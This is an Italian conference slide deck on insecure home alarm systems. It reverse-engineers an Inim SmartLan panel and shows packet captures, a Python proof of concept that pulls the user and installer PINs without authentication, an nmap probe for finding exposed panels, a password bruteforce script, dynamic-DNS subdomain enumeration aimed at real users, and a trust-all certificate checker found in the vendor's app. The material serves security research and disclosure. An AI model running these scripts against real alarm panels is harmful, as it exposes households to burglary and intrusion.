



Home Alarm Insecurity

Breve avventura tra domotica e sicurezza

Chi sono

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- Socio fondatore BITM
- MTB/snowboard vs. food/wine/beer lover

Disclaimer




- Nessun sistema di allarme è stato maltrattato per realizzare questa «ricerca» (tranne quello di Miocuggino)
- **Don't try this at** your neighbors' home

Year Hacked	Security System	Issues Found	Actions Taken
2015	Simplisafe	Wireless transmissions can be recorded by a third party and reuse data packets to disable the alarms.	Company promised to update their hardware to incorporate an upgradeable firmware.
2017	iSmartAlarm	Authentication can be bypassed using SSL certificate validation, authentication and access control.	Company promised to improve their firmware to protect the system from hacking incidents.
2014	Vivint	Failure to encrypt communication signals which can be intercepted by a SDR device.	Company promised to come up with plans to fix the vulnerabilities, but did not address the encryption issues.
2014	ADT	Failure to encrypt communication signals which can be intercepted by a SDR device.	ADT settled a \$16 million class action lawsuit to resolve hacking allegations.
2018	Swann	Failure to encrypt communication signals, lack serial authentication which allows a third party to view from your camera, and SSD and PSK not removed despite of factory resetting.	Company was able to fix the serial switching problems and willing to update their firmware to solve the factory reset and PSK issues. However, no specific solutions yet were provided for the unencrypted communication issues.





La vittima



Test di accesso

5.11 01050 casa



P2P Cloud

NOME CENTRALE casa

INDIRIZZO casadimiocuggino.dyndns.com

PORTA 5004

UTENTE

PASSWORD

COD.UTENTE

TIPO LAN

Smartlan-G

Smartlan-SI

PRIME (onboard)


PRIMELAN

Salva Test conn.

Cancella



Test di accesso




```
00000000 00 00 00 fe d2 00 02 d2 .....
00000000 00 00 00
00000008 00 00 00 40 00 00 0c 4c .....
00000003 35 2e 31 31 20 30 31 30 35 30 20 20 1b ..... 5.11 010 50
00000010 00 00 01 52 aa 00 fa f7 .....
00000010 06 05 04 03 02 01 02 02 02 02 ff ff 00 00 00 03 .....
00000020 ff ff 00 00 00 04 ff ff 00 00 00 05 ff ff 00 00 .....
00000030 00 06 ff ff 00 00 00 07 ff ff 00 00 00 08 ff ff .....
00000040 00 00 00 09 ff ff 00 00 01 00 ff ff 00 00 01 01 .....
00000050 ff ff 00 00 01 02 ff ff 00 00 01 03 ff ff 00 00 .....
00000060 01 04 ff ff 00 00 01 05 ff ff 00 00 01 06 ff ff .....
00000070 00 00 01 07 ff ff 00 00 01 08 ff ff 00 00 01 09 .....
00000080 ff ff 00 00 02 00 ff ff 00 00 02 01 ff ff 00 00 .....
00000090 02 02 ff ff 00 00 02 03 ff ff 00 00 02 04 ff ff .....
000000A0 00 00 02 05 ff ff 00 00 02 06 ff ff 00 00 02 07 .....
000000B0 ff ff 00 00 02 08 ff ff 00 00 02 09 ff ff 00 00 .....
000000C0 03 00 ff ff 00 00 03 01 ff ff 00 00 03 02 ff ff .....
000000D0 00 00 03 03 ff ff 00 00 03 04 ff ff 00 00 03 05 .....
000000E0 ff ff 00 00 03 06 ff ff 00 00 03 07 ff ff 00 00 .....
000000F0 03 08 ff ff 00 00 03 09 ff ff 00 00 04 00 ff ff .....
00000100 00 00 04 01 ff ff 00 00 04 02 c9 .....
00000018 00 00 01 53 a4 00 32 2a ...S..2*
0000010B ff ff 00 00 04 03 ff ff 00 00 04 04 ff ff 00 00 .....
0000011B 04 05 ff ff 00 00 04 06 ff ff 00 00 04 07 ff ff .....
0000012B 00 00 04 08 ff ff 00 00 04 09 ff ff 00 00 05 00 .....
0000013B ff ff 39 ..9
```

Stato allarme



5.11 01050 casa




DISINSERITO



Stato allarme





5.11 01050 casa

 AREE

Codice utente


Inserire codice utente

OK

DISINSERITO  

The image shows a mobile application interface for an alarm system. At the top, it displays the phone number '5.11 01050' and the location 'casa'. Below this is a header with a home icon and the text 'AREE'. A modal dialog box is open, titled 'Codice utente', with a subtitle 'Inserire codice utente'. It contains a text input field and an 'OK' button. At the bottom of the screen, the text 'DISINSERITO' is visible, along with a back arrow and a home icon.

PIN errato




PIN: 654321

```

00000000 00 00 00 fe d2 00 02 d2 .....
00000000 00 00 00 .....
00000008 00 00 00 40 00 00 0c 4c ...@...L
00000003 35 2e 31 31 20 30 31 30 35 30 20 20 1b 5.11 010 50 .
00000010 00 00 01 52 aa 00 fa f7 ...R....
00000010 06 05 04 03 02 01 02 02 02 02 ff ff 00 00 00 03 .....
00000020 ff ff 00 00 00 04 ff ff 00 00 00 05 ff ff 00 00 .....
00000030 00 06 ff ff 00 00 00 07 ff ff 00 00 00 08 ff ff .....
00000040 00 00 00 09 ff ff 00 00 01 00 ff ff 00 00 01 01 .....
00000050 ff ff 00 00 01 02 ff ff 00 00 01 03 ff ff 00 00 .....
00000060 01 04 ff ff 00 00 01 05 ff ff 00 00 01 06 ff ff .....
00000070 00 00 01 07 ff ff 00 00 01 08 ff ff 00 00 01 09 .....
00000080 ff ff 00 00 02 00 ff ff 00 00 02 01 ff ff 00 00 .....
00000090 02 02 ff ff 00 00 02 03 ff ff 00 00 02 04 ff ff .....
000000A0 00 00 02 05 ff ff 00 00 02 06 ff ff 00 00 02 07 .....
000000B0 ff ff 00 00 02 08 ff ff 00 00 02 09 ff ff 00 00 .....
000000C0 03 00 ff ff 00 00 03 01 ff ff 00 00 03 02 ff ff .....
000000D0 00 00 03 03 ff ff 00 00 03 04 ff ff 00 00 03 05 .....
000000E0 ff ff 00 00 03 06 ff ff 00 00 03 07 ff ff 00 00 .....
000000F0 03 08 ff ff 00 00 03 09 ff ff 00 00 04 00 ff ff .....
00000100 00 00 04 01 ff ff 00 00 04 02 c9 .....
00000018 00 00 01 53 a4 00 32 2a ...S..2*
0000010B ff ff 00 00 04 03 ff ff 00 00 04 04 ff ff 00 00 .....
0000011B 04 05 ff ff 00 00 04 06 ff ff 00 00 04 07 ff ff .....
0000012B 00 00 04 08 ff ff 00 00 04 09 ff ff 00 00 05 00 .....
0000013B ff ff 39 ..9

```

Source	Destination	Protoc	Leng	Data	Text
192.168.1.6	192.168.1.2	TCP	54		
192.168.1.6	192.168.1.2	TCP	62	00000152aa00faf7	
192.168.1.2	192.168.1.6	TCP	305	06050403020102020202ffff00000003ff...	\006\005\004\003\002\001\002\002\002\002\357\27...
192.168.1.6	192.168.1.2	TCP	62	00000153a400322a	
192.168.1.2	192.168.1.6	TCP	105	ffff00000403ffff00000404ffff000004...	\357\277\275\357\277\275



PIN installatore



Il Pin installatore inserito non è congruente con quello in centrale.
Reinserire correttamente il pin installatore nella sezione "Impianto" per comunicare con la centrale.

PIN installatore:
999999

	Time	Source	Destination	Protoc	Leng	Data	Text
1	0.000000000	192.168.1.6	192.168.1.2	TCP	66		
2	0.001681351	192.168.1.2	192.168.1.6	TCP	60		
3	0.002672450	192.168.1.6	192.168.1.2	TCP	54		
4	0.211211589	192.168.1.6	192.168.1.2	TCP	62	0000004000000c4c	
5	0.276452450	192.168.1.2	192.168.1.6	TCP	67	352e313120303130353020201b	5.11 01050 \033
6	0.317632211	192.168.1.6	192.168.1.2	TCP	54		
7	0.318603247	192.168.1.6	192.168.1.2	TCP	62	0000000da50001b3	
8	0.365543533	192.168.1.2	192.168.1.6	TCP	60	1919	\031\031
9	0.382861626	192.168.1.6	192.168.1.2	TCP	62	00000153d6000630	
10	0.425804484	192.168.1.2	192.168.1.6	TCP	61	0000000000000036	\t\t\t\t\t\t\t\t6
11	0.475692417	192.168.1.6	192.168.1.2	TCP	54		

PoC #1

```

import socket
import time
import sys

s = None

def establish_conn():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1],5004))
        s.settimeout(6)
        return(s)
    except:
        time.sleep(10)
        establish_conn()

if s is None:
    s=establish_conn()

s.send(bytearray.fromhex('000000fed20002d2'))
resp = s.recv(20)

s.send(bytearray.fromhex('0000004000000c4c'))
resp = s.recv(20)
print ('Versione:\t'+str(resp))

s.send(bytearray.fromhex('00000152aa00faf7'))
resp = s.recv(256)
print ('PIN:\t' + ''.join(str(e) for e in resp[:6]))

s.send(bytearray.fromhex('00000153d6000630'))
resp = s.recv(256)
print ('PIN installatore:\t' + ''.join(str(e) for e in resp[:6]))


s.send(bytearray.fromhex('00000153a400322a'))

```

```

povero@kali:/root/test_alienmobile$ python3 ping_smartlan.py 192.168.1.2
Versione:      b'5.11 01050  \x1b'
PIN:          654321
PIN installatore:      999999
b'Notte          j'
b'Giorno         \xae'
b'Disinserito    -'
b'               \x00'
b'Giorno         Notte
Area 6           Area 7
^

```



Vabbè...



The screenshot shows the homepage of inim Electronics. At the top left is the logo "inim ELECTRONICS". To the right are navigation links for "Homepage", "Login", and "Registrati". The main content area features a large image of a desk with a laptop and a chair. Overlaid on this image is the text "Accesso remoto con DNS Dinamico" in a large, bold font. Below this, it says "Accedi ai tuoi dispositivi di sicurezza in massima libertà, ovunque." and a "Scopri di più" button. At the bottom of the page, there is a white box with the heading "Sempre connesso" and a paragraph: "Crea una rete per tutti i tuoi dispositivi domestici e aziendali (router, webcam, impianti di sicurezza), con poche semplici operazioni. Accedi ai tuoi dispositivi in maniera affidabile, ovunque."

DNS dinamico

Servizio DNS	<input type="text" value="inimdns.biz"/>	<input type="button" value="v"/>
Dominio	<input type="text" value="casadimiocuggino.inimdns.biz"/>	
Nome utente	<input type="text" value="miocuggino@gmail.com"/>	
Password	<input type="password" value="*****"/>	<input type="button" value="Mostra"/>
Aggiornamento ogni	<input type="text" value="300"/> <input type="button" value="v"/>	secondi <input type="button" value="Prova account DDNS"/>

Subdomain enumeration

Subbrute ¹

+ wordlist nomi e cognomi italiani =

42 potenziali target

```

a imdns.biz
a .inimdns.biz
a .nimdns.biz
a idns.biz
a inimdns.biz
a .nimdns.biz
a .nimdns.biz
c .nimdns.biz
c idns.biz
c .nimdns.biz
c inimdns.biz
c i.inimdns.biz
c .inimdns.biz
c .nimdns.biz
f .inimdns.biz
f imdns.biz
f .mdns.biz
f idns.biz
f .inimdns.biz
g inimdns.biz
g lns.biz
m .i.inimdns.biz
m .i.inimdns.biz
m .inimdns.biz
m imdns.biz
m ini.inimdns.biz
m f.inimdns.biz
m imdns.biz
p li.inimdns.biz
p .inimdns.biz
p .inimdns.biz
p ra.inimdns.biz
p inimdns.biz
p li.inimdns.biz
q i.inimdns.biz
r .inimdns.biz
v lla.inimdns.biz
v ri.inimdns.biz
v ro.inimdns.biz
v io.inimdns.biz
v etti.inimdns.biz
v imdns.biz
v .inimdns.biz

```

¹ <https://github.com/TheRook/subbrute>

PoC #2 – nmap probe


```
Probe TCP SmartLan q|\x00\x00\x00\x40\x00\x00\x0c\x4c|
rarity 5
ports 5004
match smartlan m|^(\\d\\.\\d\\d\\s\\d{5})\\s\\s| p/Inim SmartLan G or SI/ i/Unauthenticated Inim SmartLan G or SI
home security system/ d/security-misc/ v/$1/ cpe:/h:Inim:SmartLan:$1/
```

```
root@kali:~# nmap -sV -p5004 192.168.1.2
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-13 05:26 CET
Nmap scan report for computer.station (192.168.1.2)
Host is up (0.0026s latency).

PORT      STATE SERVICE VERSION
5004/tcp  open  smartlan Inim SmartLan G or SI 5.11 01050 (Unauthenticated Inim SmartLan G or SI home security system)
MAC Address: 00:08:DC:15:57:AB (Wiznet)
Service Info: Device: security-misc; CPE: cpe:/h:Inim:SmartLan:5.11_01050

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds
```

PoC #3 - Bruteforce



The screenshot shows the INIM - SmartLan/SI - Vers. 2.10 interface. The 'Password (TCP Server)' section is enabled with a password field containing 'P4\$\$word'. The 'Other Info' section shows 'Panel version' as '5.11 01050' and 'Card version' as '5.03'. Below the interface is a network traffic table:

Source	Destination	Protoc	Leng	Data	Text	Info
192.168.1.6	192.168.1.2	TCP	74			37642 → 5004 [SYN] Seq=0 W
192.168.1.2	192.168.1.6	TCP	60			5004 → 37642 [SYN, ACK] S
192.168.1.6	192.168.1.2	TCP	54			37642 → 5004 [ACK] Seq=1 A
192.168.1.6	192.168.1.2	TCP	62	503424242776f7264	P4\$\$word	37642 → 5004 [PSH, ACK] S
192.168.1.2	192.168.1.6	TCP	60			5004 → 37642 [ACK] Seq=1 A
192.168.1.6	192.168.1.2	TCP	62	0000004000000c4c		37642 → 5004 [PSH, ACK] S
192.168.1.2	192.168.1.6	TCP	67	352e313120303130353020201b	5.11 01050 \x03	5004 → 37642 [PSH, ACK] S
192.168.1.6	192.168.1.2	TCP	54			37642 → 5004 [ACK] Seq=17
192.168.1.6	192.168.1.2	TCP	54			37642 → 5004 [FIN, ACK] S
192.168.1.2	192.168.1.6	TCP	60			5004 → 37642 [ACK] Seq=14

- Possibilità di configurare una password (8 caratteri)
- Viene inviata all'inizio della connessione TCP
- Se il primo payload non è la password la connessione viene chiusa (FIN-ACK)

```
root@kali:~/test_alienmobile# python3 bruteforce_smartlan.py 192.168.1.2 ../wordlist.txt
Password: P4$$word b'5.11 01050 \x1b'
```

```
import socket
import time
import sys

s = None


def establish_conn():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1],5004))
        s.settimeout(6)
        return(s)
    except Exception as e:
        print(e)
        time.sleep(10)

f1 = open(sys.argv[2], "r")

for passw in f1:
    passw = passw.rstrip()
    while s is None:
        s=establish_conn()
    try:
        s.send(passw.encode())
        #print (str(s.recv(1)))
        s.send(bytearray.fromhex('0000004000000c4c'))
        time.sleep(2)
        resp = s.recv(20)
        if resp != b'':
            print ('Password:\t'+passw +'\t'+str(resp))
            break
    except:
        if s is not None:
            s.close()
            time.sleep(2)
            s=establish_conn()

f1.close()
```

Mobile app - jadx



- SSL senza pinning e verifica dei certificati

```
public static class _FakeX509TrustManager implements X509TrustManager {
    private static final X509Certificate[] _AcceptedIssuers = new X509Certificate[0];

    public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    }

    public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    }

    public X509Certificate[] getAcceptedIssuers() {
        return _AcceptedIssuers;
    }
}
```

- Secret hardcoded

- ...

- Possibili approfondimenti:

- Analisi APK
- «Criptazione proprietaria»
- Cloud
- Telecamere

- Conclusioni:

- Insecurity by design



Grazie

Domande?